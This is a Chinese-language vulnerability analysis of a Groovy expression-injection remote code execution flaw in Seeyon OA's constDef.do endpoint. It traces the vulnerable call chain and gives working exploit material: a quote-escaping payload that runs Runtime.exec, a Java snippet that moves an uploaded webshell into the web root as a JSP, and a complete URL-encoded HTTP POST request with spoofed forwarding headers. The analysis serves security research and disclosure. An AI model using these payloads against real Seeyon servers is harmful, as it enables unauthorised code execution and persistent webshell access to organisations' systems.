致远OA constDef.do命令执行漏洞分析

漏洞接口

1
/constDef.do?method=newConstDef

该接口对应 com.seeyon.ctp.view.modules.operationcenter.constdef.controller.ConstDefControllernewConstDef方法。

该方法接收了一些参数,创建了ConstDef对象,调用了this.constDefManager.insertConstDef(def)方法进行插入。

image-20231215155404707

该方法中对constKeyconstDefine参数进行验证,然后调用了this.findByConstKey(def.getConstKey())

image-20231215155641721

该方法会以构建一个ConstDef对象,设置constKey,然后调用this.constDefDao.findByExample(def),这个方法会以constKey查找一组ConstDef对象,再以ConstDef对象作为参数调用this.updateConstValue(result)

image-20231215160334560

通过this.constDefDao.findByExample(def)找到ConstDef对象的情况下,会以该对象的constKey调用ConstDefUtil.getConstDefValue(def.getConstKey())方法。

image-20231215161328587

继续以constKey作为参数调用了ConstDefCacheManager.getInstance().getConstDefValue(constKey)

image-20231215161556336

该方法首先会通过constkey作为参数在this.cacheMap中获取ConstDef对象,this.cacheMap中保存的为之前插入的ConstDef对象。拿到ConstDef对象后,使用ConstDef对象作为参数调用this.computeConstValue(def)方法。

image-20231215161650884
image-20231215165642552

computeConstValue方法中,能看到两处调用evalStringeval方法

image-20231215165929358

通过constDefine作为参数,使用groovy计算表达式。

image-20231215170156825

要想进入到groovy命令执行的方法调用中,需要constDefine的值中包含$,且constType需要指定为3或者4

image-20231215170609756

首先会调用_parserRefKey方法对constDefine进行解析。会通过$界定一组关键字,如$a$,最终会在refs中添加a

image-20231215170644098

调用ScriptEvaluator.getInstance().evalString(constDefine, context)。使用"进行包裹,进而调用了this.eval()

image-20231215171326799

最后就进入到Groovy命令执行漏洞利用点。

image-20231215171532562

ScriptEvaluator.getInstance().evalString(constDefine, context) 执行这里面会通过"scriptText包裹起来,如果直接传入java.lang.Runtime.getRuntime().exec(\"calc\");会报错,可指定constType=3,也可通过如下方式进行拼接即可绕过。

1
"+"java.lang.Runtime.getRuntime().exec("calc");//$a\"

这里漏洞的利用,需要提交3次请求,第一次请求需要随机指定一个constKeyconstDefine进行提交。

如果不指定直接提交会提示{"error":"操作异常操作失败, 常量引用不存在"}

image-20231215225016507

所以第二次提交需要在$xx$中引用第一次提交的constKey,但是这一次提交不会触发命令执行,因为在调用this.constDefDao.findByExample(def)进行查找的时候,因为constDefDao中不存在第二次提交的constKey,所以不会进入updateConstValue的if条件中。只有第三次提交,才会从获取到第二次提交的ConstDef对象,进入updateConstValueif条件中,进而触发命令执行。

image-20231215224708001
image-20231215225104408
image-20231215225221512

问题

ctp_const_def表中保存的是ConstDef对象各个属性的值,CONST_DEFINE字段中保存的是constDefine的值,但是该字段限制最大长度为200

image-20231215230406920
image-20231215230146894

漏洞进一步利用

由于CONST_DEFINE保存的是执行的代码,需要先插入到数据库中,再取出执行,该字段规则限制的长度为200。为了绕过该规则,可以通过上传一个后缀为png,内容为webshell的文件,然后再通过执行代码的方式将文件从上传路径移动到web路径实现RCE。

1
java.io.File file = new java.io.File("..\\..\\base\\upload\\2023\\12\\15\\8115437553340205223");java.io.File endFile = new java.io.File("..\\webapps\\ROOT\\666.jsp");file.renameTo(endFile);//$b1$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /seeyon/constDef.do HTTP/1.1
Host: 172.20.10.133
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ts=1702625401543; JSESSIONID=0AD7C82F3D4D8EA1B6FA9E28132C4BD2; loginPageURL=; login_locale=zh_CN
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 640

method=newConstDef&constKey=f5&constDefine=%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%66%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%2e%2e%5c%5c%62%61%73%65%5c%5c%75%70%6c%6f%61%64%5c%5c%32%30%32%33%5c%5c%31%32%5c%5c%31%35%5c%5c%38%31%31%35%34%33%37%35%35%33%33%34%30%32%30%35%32%32%33%22%29%3b%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%20%65%6e%64%46%69%6c%65%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%46%69%6c%65%28%22%2e%2e%5c%5c%77%65%62%61%70%70%73%5c%5c%52%4f%4f%54%5c%5c%36%36%36%2e%6a%73%70%22%29%3b%66%69%6c%65%2e%72%65%6e%61%6d%65%54%6f%28%65%6e%64%46%69%6c%65%29%3b%2f%2f%24%62%31%24&constType=3